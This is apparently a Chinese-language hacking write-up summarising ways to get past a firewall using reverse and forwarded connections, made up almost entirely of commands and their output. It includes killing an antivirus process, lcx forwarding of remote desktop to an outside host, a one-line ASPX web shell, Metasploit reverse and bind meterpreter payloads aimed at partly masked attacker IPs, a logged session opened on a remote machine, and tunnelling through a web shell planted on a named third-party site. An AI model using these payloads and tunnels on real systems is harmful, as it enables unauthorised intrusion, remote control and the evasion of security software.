记一次绕过防火墙反弹转发姿势小结

taskkill /f /im kavfswp.exe

C:Recoverylcx.exe -listen 51 1234C:Recoverylcx.exe -slave 113.xxx.xx.5 51 127.0.0.1 3389
[option:]  -listen 连接端口<ConnectPort> 发送端口<TransmitPort>  -tran   连接端口<ConnectPort> 发送主机<TransmitHost> 发送端口<TransmitPort>  -slave  连接主机<ConnectHost> 连接端口<ConnectPort> 发送主机<TransmitHost> 发送端口<TransmitPort>

<%@ Page Language="C#" ValidateRequest="false" %><%try{ System.Reflection.Assembly.Load(Request.BinaryRead(int.Parse(Request.Cookies["psw"].Value))).CreateInstance("c", true, System.Reflection.BindingFlags.Default, null, new object[] { this }, null, null); } catch { }%>

C:Recoverylcx.exe -listen 52 1234[+] Listening port 52 ......[+] Listen OK![+] Listening port 1234 ......[+] Listen OK![+] Waiting for Client on port:52 ......

root@dix1:~# msfpayload windows/meterpreter/reverse_tcp LHOST=113.***.**.250 LPORT=12345 X > /media/hake/port.exe
msf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_tcpmsf exploit(handler) > set LHOST 192.168.1.10msf exploit(handler) > set LPORT 12345msf exploit(handler) > exploit[*] Started reverse handler on 192.168.1.10:12345 [*] Starting the payload handler...

root@dix1:~# msfpayload windows/meterpreter/bind_tcp LPORT=9999 X > /media/hake/port.exe
msf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcpmsf exploit(handler) > set RHOST 80.**.**.21msf exploit(handler) > set LPORT 9999msf exploit(handler) > exploit[*] Started bind handler[*] Starting the payload handler...

root@dix1:~# msfpayload windows/meterpreter/reverse_http LHOST=113.***.**.236 LPORT=4444 R | msfencode -t aspx -o /media/hake/port.aspx
msf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_httpmsf exploit(handler) > set LHOST 192.168.1.9msf exploit(handler) > set LPORT 4444msf exploit(handler) > exploit[*] Started HTTP reverse handler on http://0.0.0.0:4444/[*] Starting the payload handler...

root@dix1:~# msfpayload windows/meterpreter/reverse_https LHOST=113.***.**.106 LPORT=4444 X > /media/hake/test.exe
msf > use exploit/multi/handlermsf exploit(handler) > set PAYLOAD windows/meterpreter/reverse_httpsPAYLOAD => windows/meterpreter/reverse_httpsmsf exploit(handler) > set LHOST 192.168.1.9msf exploit(handler) > set LPORT 4444msf exploit(handler) > exploit
[*] Started HTTPS reverse handler on https://0.0.0.0:4444/[*] Starting the payload handler...[*] 113.***.**.106:2069 Request received for /5xWX...[*] 113.***.**.106:2069 Staging connection for target /5xWX received...[*] Patched user-agent at offset 663656...[*] Patched transport at offset 663320...[*] Patched URL at offset 663384...[*] Patched Expiration Timeout at offset 664256...[*] Patched Communication Timeout at offset 664260...[*] Meterpreter session 3 opened (192.168.1.5:4444 -> 80.**.**.21:2069) at 2014-08-05 23:49:20 +0800

root@dix1:~# ruby proxy.rb -u http://www.canton*********dolonne.fr/u_fichier/conn.aspx -l 1234 -r 3389 -v
msf > use exploit/windows/misc/tunna_exploitmsf exploit(tunna_exploit) > set PAYLOAD windows/meterpreter/bind_tcpmsf exploit(tunna_exploit) > set RHOST 113.***.**.236msf exploit(tunna_exploit) > set TARGETURI http://www.canton*********dolonne.fr/u_fichier/conn.aspxmsf exploit(tunna_exploit) > set VERBOSE truemsf exploit(tunna_exploit) > exploit -j

1. Lcx、2. Aspx Client、3.1 Reverse_tcp、3.3 Reverse_http、3.3 Reverse_https

3.2 Bind_tcp

4. reDuh_Gui、5. Http_Tunna、reGeorg、neo_reGeorg